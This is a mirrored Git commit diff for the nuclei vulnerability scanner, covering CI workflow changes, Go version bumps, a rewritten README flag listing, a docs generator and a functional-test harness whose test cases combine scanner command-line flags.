External/nuclei
1
0
Fork 0
mirror of https://github.com/projectdiscovery/nuclei.git synced 2025-12-18 05:05:23 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'dev' into dev

Browse Source
This commit is contained in:
Ganoes 2021-09-01 11:37:28 +02:00 committed by GitHub
commit 5c81e5a640
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
145 changed files with 10292 additions and 1753 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
.github/workflows/build-test.yml vendored
View File

@ -13,7 +13,7 @@ jobs:
- name: Set up Go
uses: actions/setup-go@v2
with:
go-version: 1.15
go-version: 1.16
- name: Check out code
uses: actions/checkout@v2

25
.github/workflows/functional-test.yml vendored Normal file
View File

@ -0,0 +1,25 @@
name: 🧪 Functional Test
on:
push:
pull_request:
workflow_dispatch:
jobs:
functional:
name: Functional Test
runs-on: ubuntu-latest
steps:
- name: Set up Go
uses: actions/setup-go@v2
with:
go-version: 1.15
- name: Check out code
uses: actions/checkout@v2
- name: Functional Tests
run: |
chmod +x run.sh
bash run.sh
working-directory: v2/cmd/functional-test

48
.github/workflows/publish-docs.yaml vendored Normal file
View File

@ -0,0 +1,48 @@
name: ⏰ Publish Docs
on:
workflow_dispatch:
jobs:
docs:
runs-on: ubuntu-latest
steps:
- name: Check out code
uses: actions/checkout@master
with:
persist-credentials: false
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up Go"
uses: actions/setup-go@v2
with:
go-version: 1.16
- name: Generate YAML Syntax Documentation
id: generate-docs
run: |
if ! which dstdocgen > /dev/null; then
echo -e "Command dstdocgen not found! Installing\c"
go get -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/dstdocgen
fi
go generate pkg/templates/templates.go
go build -o "cmd/docgen/docgen" cmd/docgen/docgen.go
./cmd/docgen/docgen syntax-reference.md nuclei-jsonschema.json
echo "::set-output name=changes::$(git status -s | wc -l)"
working-directory: v2
- name: Commit files
if: steps.generate-docs.outputs.changes > 0
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git add v2/syntax-reference.md v2/nuclei-jsonschema.json
git commit -m "Auto Generate Syntax Docs + JSONSchema [$(date)] :robot:" -a
- name: Push changes
if: steps.generate-docs.outputs.changes > 0
uses: ad-m/github-push-action@master
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
branch: ${{ github.ref }}

16
.gitignore vendored
View File

@ -1,7 +1,13 @@
cmd/nuclei/nuclei*
v2/cmd/nuclei/nuclei
.idea
integration_tests/integration-test
integration_tests/nuclei
v2/cmd/integration-test/integration-test
bin
integration_tests/integration-test
v2/cmd/nuclei/main
v2/cmd/nuclei/nuclei
v2/cmd/integration-test/nuclei
v2/cmd/functional-test/nuclei_dev
v2/cmd/functional-test/nuclei_main
v2/cmd/functional-test/functional-test
v2/cmd/docgen/docgen
v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.class
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser

108
.golangci.yml
View File

@ -1,108 +0,0 @@
linters-settings:
dupl:
threshold: 100
exhaustive:
default-signifies-exhaustive: false
# funlen:
# lines: 100
# statements: 50
#goconst:
# min-len: 2
# min-occurrences: 2
gocritic:
enabled-tags:
- diagnostic
- experimental
- opinionated
- performance
- style
disabled-checks:
- dupImport # https://github.com/go-critic/go-critic/issues/845
- ifElseChain
# gocyclo:
# min-complexity: 15
goimports:
local-prefixes: github.com/golangci/golangci-lint
golint:
min-confidence: 0
gomnd:
settings:
mnd:
# don't include the "operation" and "assign"
checks: argument,case,condition,return
govet:
check-shadowing: true
settings:
printf:
funcs:
- (github.com/golangci/golangci-lint/pkg/logutils.Log).Infof
- (github.com/golangci/golangci-lint/pkg/logutils.Log).Warnf
- (github.com/golangci/golangci-lint/pkg/logutils.Log).Errorf
- (github.com/golangci/golangci-lint/pkg/logutils.Log).Fatalf
# lll:
# line-length: 140
maligned:
suggest-new: true
misspell:
locale: US
nolintlint:
allow-leading-space: true # don't require machine-readable nolint directives (i.e. with no leading space)
allow-unused: false # report any unused nolint directives
require-explanation: false # don't require an explanation for nolint directives
require-specific: false # don't require nolint directives to be specific about which linter is being skipped
linters:
# please, do not use `enable-all`: it's deprecated and will be removed soon.
# inverted configuration with `enable-all` and `disable` is not scalable during updates of golangci-lint
disable-all: true
enable:
#- bodyclose
- deadcode
- dogsled
- errcheck
- exhaustive
- gochecknoinits
#- goconst
- gocritic
- gofmt
- goimports
#- gomnd
- goprintffuncname
- gosimple
- govet
- ineffassign
- interfacer
- maligned
- misspell
- nakedret
- noctx
- nolintlint
- rowserrcheck
- scopelint
- staticcheck
- structcheck
- stylecheck
- typecheck
- unconvert
- unparam
- unused
- varcheck
- whitespace
- revive
# don't enable:
# - depguard
# - asciicheck
# - funlen
# - gochecknoglobals
# - gocognit
# - gocyclo
# - godot
# - godox
# - goerr113
# - gosec
# - lll
# - nestif
# - prealloc
# - testpackage
# - wsl

19
.run/IntegrationTests.run.xml Normal file
View File

@ -0,0 +1,19 @@
<component name="ProjectRunConfigurationManager">
<configuration default="false" name="IntegrationTests" type="ShConfigurationType">
<option name="SCRIPT_TEXT" value="" />
<option name="INDEPENDENT_SCRIPT_PATH" value="true" />
<option name="SCRIPT_PATH" value="$PROJECT_DIR$/integration_tests/run.sh" />
<option name="SCRIPT_OPTIONS" value="" />
<option name="INDEPENDENT_SCRIPT_WORKING_DIRECTORY" value="true" />
<option name="SCRIPT_WORKING_DIRECTORY" value="$PROJECT_DIR$/integration_tests/" />
<option name="INDEPENDENT_INTERPRETER_PATH" value="true" />
<option name="INTERPRETER_PATH" value="/bin/zsh" />
<option name="INTERPRETER_OPTIONS" value="" />
<option name="EXECUTE_IN_TERMINAL" value="true" />
<option name="EXECUTE_SCRIPT_FILE" value="true" />
<envs>
<env name="DEBUG" value="true" />
</envs>
<method v="2" />
</configuration>
</component>

19
.run/RegressionTests.run.xml Normal file
View File

@ -0,0 +1,19 @@
<component name="ProjectRunConfigurationManager">
<configuration default="false" name="RegressionTests" type="ShConfigurationType">
<option name="SCRIPT_TEXT" value="" />
<option name="INDEPENDENT_SCRIPT_PATH" value="true" />
<option name="SCRIPT_PATH" value="$PROJECT_DIR$/v2/cmd/functional-test/run.sh" />
<option name="SCRIPT_OPTIONS" value="" />
<option name="INDEPENDENT_SCRIPT_WORKING_DIRECTORY" value="true" />
<option name="SCRIPT_WORKING_DIRECTORY" value="$PROJECT_DIR$/v2/cmd/functional-test/" />
<option name="INDEPENDENT_INTERPRETER_PATH" value="true" />
<option name="INTERPRETER_PATH" value="/bin/zsh" />
<option name="INTERPRETER_OPTIONS" value="" />
<option name="EXECUTE_IN_TERMINAL" value="true" />
<option name="EXECUTE_SCRIPT_FILE" value="true" />
<envs>
<env name="DEBUG" value="true" />
</envs>
<method v="2" />
</configuration>
</component>

12
.run/UnitTests.run.xml Normal file
View File

@ -0,0 +1,12 @@
<component name="ProjectRunConfigurationManager">
<configuration default="false" name="UnitTests" type="GoTestRunConfiguration" factoryName="Go Test">
<module name="nuclei" />
<working_directory value="$PROJECT_DIR$/v2" />
<go_parameters value="-i" />
<kind value="DIRECTORY" />
<directory value="$PROJECT_DIR$/v2/" />
<filePath value="$PROJECT_DIR$" />
<framework value="gotest" />
<method v="2" />
</configuration>
</component>

2
Dockerfile
View File

@ -1,4 +1,4 @@
FROM golang:1.15-alpine as build-env
FROM golang:1.17.0-alpine as build-env
RUN GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
FROM alpine:latest

201
README.md
View File

@ -11,7 +11,7 @@
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/KECAGdH"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
<a href="https://github.com/projectdiscovery/nuclei/actions/workflows/build-test.yml"><img src="https://github.com/projectdiscovery/nuclei/actions/workflows/build-test.yml/badge.svg?branch=master"></a>
</p>
@ -30,7 +30,7 @@
Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts. Nuclei offers scanning for a variety of protocols including TCP, DNS, HTTP, File, etc. With powerful and flexible templating, all kinds of security checks can be modelled with Nuclei.
We have a [dedicated repository](https://github.com/projectdiscovery/nuclei-templates) that houses various type of vulnerability templates contributed by **more than 100** security researchers and engineers. It is preloaded with ready to use templates using `-update-templates` flag.
We have a [dedicated repository](https://github.com/projectdiscovery/nuclei-templates) that houses various type of vulnerability templates contributed by **more than 200** security researchers and engineers.
@ -45,22 +45,22 @@ We have a [dedicated repository](https://github.com/projectdiscovery/nuclei-temp
# Install Nuclei
```sh
▶ GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
```
**More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started.html).**
**More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
<table>
<tr>
<td>
### Download Templates
### Nuclei Templates
You can download and update the nuclei templates using <ins>*update-templates*</ins> flag of nuclei that downloads all the available **nuclei-templates** from [Github project](https://github.com/projectdiscovery/nuclei-templates), a community curated list of templates that are ready to use.
Nuclei has had built-in support for automatic update/download templates since version [v2.4.0](https://github.com/projectdiscovery/nuclei/releases/tag/v2.4.0). [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) project provides a community-contributed list of ready-to-use templates that is constantly updated.
`▶ nuclei -update-templates`
You may still use the `update-templates` flag to update the nuclei templates at any time; automatic updates happen every 24 hours. You can write your own checks for your individual workflow and needs following Nuclei's [templating guide](https://nuclei.projectdiscovery.io/templating-guide/).
Nuclei is designed to used with custom templates according to the target and workflow, you can write your own checks for your specific workflow and needs, please refer to nuclei [templating guide](https://nuclei.projectdiscovery.io/templating-guide/) to write your own custom templates.
The YAML DSL reference syntax is available [here](v2/syntax-reference.md).
</td>
</tr>
@ -74,82 +74,131 @@ nuclei -h
This will display help for the tool. Here are all the switches it supports.
<details>
<summary> 👉 nuclei help menu 👈</summary>
```
```yaml
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.
Usage:
nuclei [flags]
Flags:
-H, -header value Custom Header.
-biid, -burp-collaborator-biid string Burp Collaborator BIID
-bs, -bulk-size int Maximum Number of hosts analyzed in parallel per template (default 25)
-c, -concurrency int Maximum Number of templates executed in parallel (default 10)
-config string Nuclei configuration file
-debug Debugging request and responses
-debug-req Debugging request
-debug-resp Debugging response
-et, -exclude value Templates to exclude, supports single and multiple templates using directory.
-etags, -exclude-tags value Exclude templates with the provided tags
-headless Enable headless browser based templates support
-impact, -severity value Templates to run based on severity, supports single and multiple severity.
-irr, -include-rr Write requests/responses for matches in JSON output
-interactions-cache-size int Number of requests to keep in interactions cache (default 5000)
-interactions-cooldown-period int Extra time for interaction polling before exiting (default 5)
-interactions-eviction int Number of seconds to wait before evicting requests from cache (default 60)
-interactions-poll-duration int Number of seconds before each interaction poll request (default 5)
-interactsh-url string Self Hosted Interactsh Server URL (default https://interact.sh)
-json Write json output to files
-l, -list string List of URLs to run templates on
-me, -markdown-export string Directory to export results in markdown format
-metrics Expose nuclei metrics on a port
-metrics-port int Port to expose nuclei metrics on (default 9092)
-nc, -no-color Disable colors in output
-nt, -new-templates Only run newly added templates
-nm, -no-meta Don't display metadata for the matches
-no-interactsh Do not use interactsh server for blind interaction polling
-o, -output string File to write output to (optional)
-page-timeout int Seconds to wait for each page in headless (default 20)
-passive Enable Passive HTTP response processing mode
-project Use a project folder to avoid sending same request multiple times
-project-path string Use a user defined project folder, temporary folder is used if not specified but enabled
-proxy-socks-url string URL of the proxy socks server
-proxy-url string URL of the proxy server
-r, -resolvers string File containing resolver list for nuclei
-rl, -rate-limit int Maximum requests to send per second (default 150)
-rc, -report-config string Nuclei Reporting Module configuration file
-rdb, -report-db string Local Nuclei Reporting Database (Always use this to persistent report data)
-retries int Number of times to retry a failed request (default 1)
-se, -sarif-export string File to export results in sarif format
-show-browser Show the browser on the screen
-si, -stats-interval int Number of seconds between each stats line (default 5)
-silent Show only results in output
-spm, -stop-at-first-path Stop processing http requests at first match (this may break template/workflow logic)
-stats Display stats of the running scan
-system-resolvers Use system dns resolving as error fallback
-t, -templates value Templates to run, supports single and multiple templates using directory.
-tags value Tags to execute templates for
-u, -target string URL to scan with nuclei
-tv, -templates-version Shows the installed nuclei-templates version
-timeout int Time to wait in seconds before timeout (default 5)
-tl List available templates
-trace-log string File to write sent requests trace log
-ud, -update-directory string Directory storing nuclei-templates (default /Users/geekboy/nuclei-templates)
-ut, -update-templates Download / updates nuclei community templates
-v, -verbose Show verbose output
-version Show version of nuclei
-w, -workflows value Workflows to run for nuclei
```
TARGET:
-u, -target string[] target URLs/hosts to scan
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
</details>
TEMPLATES:
-tl list all available templates
-t, -templates string[] template or template directory paths to include in the scan
-w, -workflows string[] list of workflows to run
-nt, -new-templates run newly added templates only
-validate validate the passed templates to nuclei
FILTERING:
-tags string[] execute a subset of templates that contain the provided tags
-include-tags string[] tags from the default deny list that permit executing more intrusive templates
-etags, -exclude-tags string[] exclude templates with the provided tags
-include-templates string[] templates to be executed even if they are excluded either by default or configuration
-exclude-templates, -exclude string[] template or template directory paths to exclude
-severity, -impact value[] Templates to run based on severity. Possible values: info, low, medium, high, critical
-author string[] execute templates that are (co-)created by the specified authors
OUTPUT:
-o, -output string output file to write found issues/vulnerabilities
-silent display findings only
-v, -verbose show verbose output
-vv display extra verbose information
-nc, -no-color disable output content coloring (ANSI escape codes)
-json write output in JSONL(ines) format
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
-nm, -no-meta don't display match metadata in CLI output
-nts, -no-timestamp don't display timestamp metadata in CLI output
-rdb, -report-db string local nuclei reporting database (always use this to persist report data)
-me, -markdown-export string directory to export results in markdown format
-se, -sarif-export string file to export results in SARIF format
CONFIGURATIONS:
-config string path to the nuclei configuration file
-rc, -report-config string nuclei reporting module configuration file
-H, -header string[] custom headers in header:value format
-V, -var value custom vars in var=value format
-r, -resolvers string file containing resolver list for nuclei
-system-resolvers use system DNS resolving as error fallback
-passive enable passive HTTP response processing mode
-env-vars enable environment variables support
INTERACTSH:
-no-interactsh do not use interactsh server for blind interaction polling
-interactsh-url string self-hosted Interactsh Server URL (default "https://interact.sh")
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
RATE-LIMIT:
-rl, -rate-limit int maximum number of requests to send per second (default 150)
-rlm, -rate-limit-minute int maximum number of requests to send per minute
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
-c, -concurrency int maximum number of templates to be executed in parallel (default 10)
OPTIMIZATIONS:
-timeout int time to wait in seconds before timeout (default 5)
-retries int number of times to retry a failed request (default 1)
-max-host-error int max errors for a host before skipping from scan (default 30)
-project use a project folder to avoid sending same request multiple times
-project-path string set a specific project path (default "$TMPDIR/")
-spm, -stop-at-first-path stop processing HTTP requests after the first match (may break template/workflow logic)
HEADLESS:
-headless enable templates that require headless browser support
-page-timeout int seconds to wait for each page in headless mode (default 20)
-show-browser show the browser on the screen when running templates with headless mode
DEBUG:
-debug show all requests and responses
-debug-req show all sent requests
-debug-resp show all received responses
-proxy, -proxy-url string URL of the HTTP proxy server
-proxy-socks-url string URL of the SOCKS proxy server
-trace-log string file to write sent requests trace log
-version show nuclei version
-tv, -templates-version shows the version of the installed nuclei-templates
UPDATE:
-update update nuclei to the latest released version
-ut, -update-templates update the community templates to latest released version
-nut, -no-update-templates do not check for nuclei-templates updates
-ud, -update-directory string overwrite the default nuclei-templates directory (default "$HOME/nuclei-templates")
STATISTICS:
-stats display statistics about the running scan
-stats-json write statistics data to an output file in JSONL(ines) format
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
-metrics expose nuclei metrics on a port
-metrics-port int port to expose nuclei metrics on (default 9092)
```
### Running Nuclei
Scanning for CVEs on given list of URLs.
Scanning target domain with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates.
```sh
▶ nuclei -l target_urls.txt -t cves/
nuclei -u https://example.com
```
Scanning target URLs with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates.
```sh
nuclei -list urls.txt
```
Example of `urls.txt`:
```yaml
http://example.com
http://app.example.com
http://test.example.com
http://uat.example.com
```
**More detailed examples of running nuclei can be found [here](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).**
@ -172,7 +221,7 @@ Nuclei offers great number of features that are helpful for security engineers t
**For bugbounty hunters:**
Nuclei allows you to customise your testing approach with your own suite of checks and easily run across your bug bounty programs. Moroever, Nuclei can be easily integrated into any continuous scanning workflow.
Nuclei allows you to customise your testing approach with your own suite of checks and easily run across your bug bounty programs. Moreover, Nuclei can be easily integrated into any continuous scanning workflow.
- Designed to be easily integrated into other tool workflow.
- Can process thousands of hosts in few minutes.
@ -225,8 +274,10 @@ We have [a discussion thread around this](https://github.com/projectdiscovery/nu
- [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)
- [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)
- [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)
- [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)
- [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by [@dwisiswant0](https://github.com/dwisiswant0)
- [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by [@dwisiswant0](https://github.com/dwisiswant0)
- [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by [@DhiyaneshGeek](https://github.com/DhiyaneshGeek)
### Credits
@ -239,5 +290,5 @@ Thanks to all the amazing community [contributors for sending PRs](https://githu
Nuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)
<h1 align="left">
<a href="https://discord.gg/KECAGdH"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
</h1>

4
README_CN.md
View File

@ -97,7 +97,7 @@ nuclei -h
|burp-collaborator-biid|使用burp-collaborator插件|nuclei -burp-collaborator-biid XXXX|
|c|并行的最大模板数量(默认10)|nuclei -c 10|
|l|对URL列表进行测试|nuclei -l urls.txt|
|target|对目标进行测试|nuclei -target hxxps://example.com|
|target|对目标进行测试|nuclei -target hxxps://example.com -target hxxps://example2.com|
|t|要检测的模板种类|nuclei -t git-core.yaml -t cves/|
|no-color|输出不显示颜色|nuclei -no-color|
|no-meta|不显示匹配的元数据|nuclei -no-meta|
@ -250,4 +250,4 @@ nano ~/nuclei-templates/.nuclei-ignore
--------
Nuclei是由[projectdiscovery](https://projectdiscovery.io)团队用🖤制作的，当然社区也贡献了很多，通过 **[Thanks.md](https://github.com/projectdiscovery/nuclei/blob/master/THANKS.md)**文件以获取更多详细信息。
Nuclei是由[projectdiscovery](https://projectdiscovery.io)团队用🖤制作的，当然社区也贡献了很多，通过 **[Thanks.md](https://github.com/projectdiscovery/nuclei/blob/master/THANKS.md)**文件以获取更多详细信息。

1
integration_tests/run.sh Normal file → Executable file
View File

@ -1,5 +1,6 @@
#!/bin/bash
rm integration-test nuclei 2>/dev/null
cd ../v2/cmd/nuclei
go build
mv nuclei ../../../integration_tests/nuclei

2
v2/.goreleaser.yml
View File

@ -18,6 +18,8 @@ builds:
ignore:
- goos: darwin
goarch: '386'
- goos: windows
goarch: 'arm'
binary: '{{ .ProjectName }}'
main: cmd/nuclei/main.go

8
v2/Makefile
View File

@ -8,6 +8,14 @@ GOGET=$(GOCMD) get
all: build
build:
$(GOBUILD) -v -ldflags="-extldflags=-static" -o "nuclei" cmd/nuclei/main.go
docs:
if ! which dstdocgen > /dev/null; then
echo -e "Command not found! Install? (y/n) \c"
go get -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/dstdocgen
fi
$(GOCMD) generate pkg/templates/templates.go
$(GOBUILD) -o "cmd/docgen/docgen" cmd/docgen/docgen.go
./cmd/docgen/docgen docs.md nuclei-jsonschema.json
test:
$(GOTEST) -v ./...
tidy:

50
v2/cmd/docgen/docgen.go Normal file
View File

@ -0,0 +1,50 @@
package main
import (
"bytes"
"encoding/json"
"io/ioutil"
"log"
"os"
"regexp"
"strings"
"github.com/alecthomas/jsonschema"
"github.com/projectdiscovery/nuclei/v2/pkg/templates"
)
var pathRegex = regexp.MustCompile(`github.com/projectdiscovery/nuclei/v2/(?:internal|pkg)/(?:.*/)?([A-Za-z\.]+)`)
func main() {
// Generate yaml syntax documentation
data, err := templates.GetTemplateDoc().Encode()
if err != nil {
log.Fatalf("Could not encode docs: %s\n", err)
}
err = ioutil.WriteFile(os.Args[1], data, 0777)
if err != nil {
log.Fatalf("Could not write docs: %s\n", err)
}
// Generate jsonschema
r := &jsonschema.Reflector{
PreferYAMLSchema: true,
YAMLEmbeddedStructs: true,
FullyQualifyTypeNames: true,
}
jsonschemaData := r.Reflect(&templates.Template{})
var buf bytes.Buffer
encoder := json.NewEncoder(&buf)
encoder.SetIndent("", " ")
_ = encoder.Encode(jsonschemaData)
schema := buf.String()
for _, match := range pathRegex.FindAllStringSubmatch(schema, -1) {
schema = strings.ReplaceAll(schema, match[0], match[1])
}
err = ioutil.WriteFile(os.Args[2], []byte(schema), 0777)
if err != nil {
log.Fatalf("Could not write jsonschema: %s\n", err)
}
}

79
v2/cmd/functional-test/main.go Normal file
View File

@ -0,0 +1,79 @@
package main
import (
"bufio"
"flag"
"fmt"
"log"
"os"
"strings"
"github.com/logrusorgru/aurora"
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v2/internal/testutils"
)
var (
success = aurora.Green("[✓]").String()
failed = aurora.Red("[✘]").String()
errored = false
mainNucleiBinary = flag.String("main", "", "Main Branch Nuclei Binary")
devNucleiBinary = flag.String("dev", "", "Dev Branch Nuclei Binary")
testcases = flag.String("testcases", "", "Test cases file for nuclei functional tests")
)
func main() {
flag.Parse()
if err := runFunctionalTests(); err != nil {
log.Fatalf("Could not run functional tests: %s\n", err)
}
if errored {
os.Exit(1)
}
}
func runFunctionalTests() error {
file, err := os.Open(*testcases)
if err != nil {
return errors.Wrap(err, "could not open test cases")
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text == "" {
continue
}
if err := runIndividualTestCase(text); err != nil {
errored = true
fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, text, err)
} else {
fmt.Printf("%s Test \"%s\" passed!\n", success, text)
}
}
return nil
}
func runIndividualTestCase(testcase string) error {
parts := strings.Fields(testcase)
var finalArgs []string
if len(parts) > 1 {
finalArgs = parts[1:]
}
mainOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*mainNucleiBinary, finalArgs)
if err != nil {
return errors.Wrap(err, "could not run nuclei main test")
}
devOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*devNucleiBinary, finalArgs)
if err != nil {
return errors.Wrap(err, "could not run nuclei dev test")
}
if mainOutput == devOutput {
return nil
}
return fmt.Errorf("%s main is not equal to %s dev", mainOutput, devOutput)
}

13
v2/cmd/functional-test/run.sh Normal file
View File

@ -0,0 +1,13 @@
#!/bin/bash
echo 'Building functional-test binary'
go build
echo 'Building Nuclei binary from current branch'
go build -o nuclei_dev ../nuclei
echo 'Installing latest release of nuclei'
GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
echo 'Starting Nuclei functional test'
./functional-test -main nuclei -dev ./nuclei_dev -testcases testcases.txt

51
v2/cmd/functional-test/testcases.txt Normal file
View File

@ -0,0 +1,51 @@
{{binary}}
{{binary}} -tags cve
{{binary}} -tags cve,exposure
{{binary}} -tags cve,exposure -tags token
{{binary}} -tags cve,exposure -tags token,logs
{{binary}} -tags "cve","exposure" -tags "token","logs"
{{binary}} -tags 'cve','exposure' -tags 'token','logs'
{{binary}} -tags cve -severity high
{{binary}} -tags cve,exposure -severity high,critical
{{binary}} -tags cve,exposure -severity "high,critical,medium"
{{binary}} -tags cve -author geeknik
{{binary}} -tags cve -author geeknik,pdteam
{{binary}} -tags cve -author geeknik -severity high
{{binary}} -tags cve
{{binary}} -tags cve,exposure
{{binary}} -tags cve,exposure -tags token
{{binary}} -tags cve,exposure -tags token,logs
{{binary}} -tags "cve","exposure" -tags "token","logs"
{{binary}} -tags 'cve','exposure' -tags 'token','logs'
{{binary}} -tags cve -severity high
{{binary}} -tags cve,exposure -severity high,critical
{{binary}} -tags cve,exposure -severity "high,critical,medium"
{{binary}} -tags cve -author geeknik
{{binary}} -tags cve -author geeknik,pdteam
{{binary}} -tags cve -author geeknik -severity high
{{binary}} -tags cve,exposure -author geeknik,pdteam -severity high,critical
{{binary}} -tags "cve,exposure" -author "geeknik,pdteam" -severity "high,critical"
{{binary}} -tags cve -etags ssrf
{{binary}} -tags cve,exposure -etags ssrf,config
{{binary}} -tags cve,exposure -etags ssrf,config -severity high
{{binary}} -tags cve,exposure -etags ssrf,config -severity high -author geeknik
{{binary}} -tags cve,dos,fuzz
{{binary}} -tags cve -include-tags dos,fuzz
{{binary}} -tags cve -exclude-tags cve2020
{{binary}} -tags cve -exclude-templates cves/2020/
{{binary}} -tags cve -exclude-templates cves/2020/CVE-2020-9757.yaml
{{binary}} -tags cve -exclude-templates cves/2020/CVE-2020-9757.yaml -exclude-templates cves/2021/
{{binary}} -t cves/
{{binary}} -t cves/ -t exposures/
{{binary}} -t cves/ -t exposures/ -tags config
{{binary}} -t cves/ -t exposures/ -tags config,ssrf
{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical
{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam
{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli
{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -exclude-templates cves/2021/
{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -exclude-templates cves/2017/CVE-2017-7269.yaml
{{binary}} -t cves/ -t exposures/ -tags config -severity high,critical -author geeknik,pdteam -etags sqli -include-templates cves/2017/CVE-2017-7269.yaml
{{binary}} -w workflows
{{binary}} -w workflows -author geeknik,pdteam
{{binary}} -w workflows -severity high,critical
{{binary}} -w workflows -author geeknik,pdteam -severity high,critical

7
v2/cmd/integration-test/integration-test.go
View File

@ -13,6 +13,8 @@ var (
debug = os.Getenv("DEBUG") == "true"
customTest = os.Getenv("TEST")
protocol = os.Getenv("PROTO")
errored = false
)
func main() {
@ -36,13 +38,16 @@ func main() {
err := test.Execute(file)
if err != nil {
fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, file, err)
os.Exit(1)
errored = true
} else {
fmt.Printf("%s Test \"%s\" passed!\n", success, file)
}
}
}
}
if errored {
os.Exit(1)
}
}
func errIncorrectResultsCount(results []string) error {

17
v2/cmd/nuclei/issue-tracker-config.yaml
View File

@ -49,3 +49,20 @@
# project-name: ""
# # issue-type is the name of the created issue type
# issue-type: ""
# elasticsearch contains configuration options for elasticsearch exporter
#elasticsearch:
# # IP for elasticsearch instance
# ip: 127.0.0.1
# # Port is the port of elasticsearch instance
# port: 9200
# # IndexName is the name of the elasticsearch index
# index-name: nuclei
# # SSL enables ssl for elasticsearch connection
# # ssl: false
# # SSLVerification disables SSL verification for elasticsearch
# # ssl-verification: false
# # Username for the elasticsearch instance
# # username: test
# # Pasword is the password for elasticsearch instance
# # password: test

218
v2/cmd/nuclei/main.go
View File

@ -1,12 +1,14 @@
package main
import (
"fmt"
"os"
"path"
"path/filepath"
"github.com/projectdiscovery/goflags"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/internal/runner"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
)
@ -24,79 +26,165 @@ func main() {
if err != nil {
gologger.Fatal().Msgf("Could not create runner: %s\n", err)
}
nucleiRunner.RunEnumeration()
if nucleiRunner == nil {
return
}
if err := nucleiRunner.RunEnumeration(); err != nil {
gologger.Fatal().Msgf("Could not run nuclei: %s\n", err)
}
nucleiRunner.Close()
}
func readConfig() {
home, _ := os.UserHomeDir()
templatesDirectory := path.Join(home, "nuclei-templates")
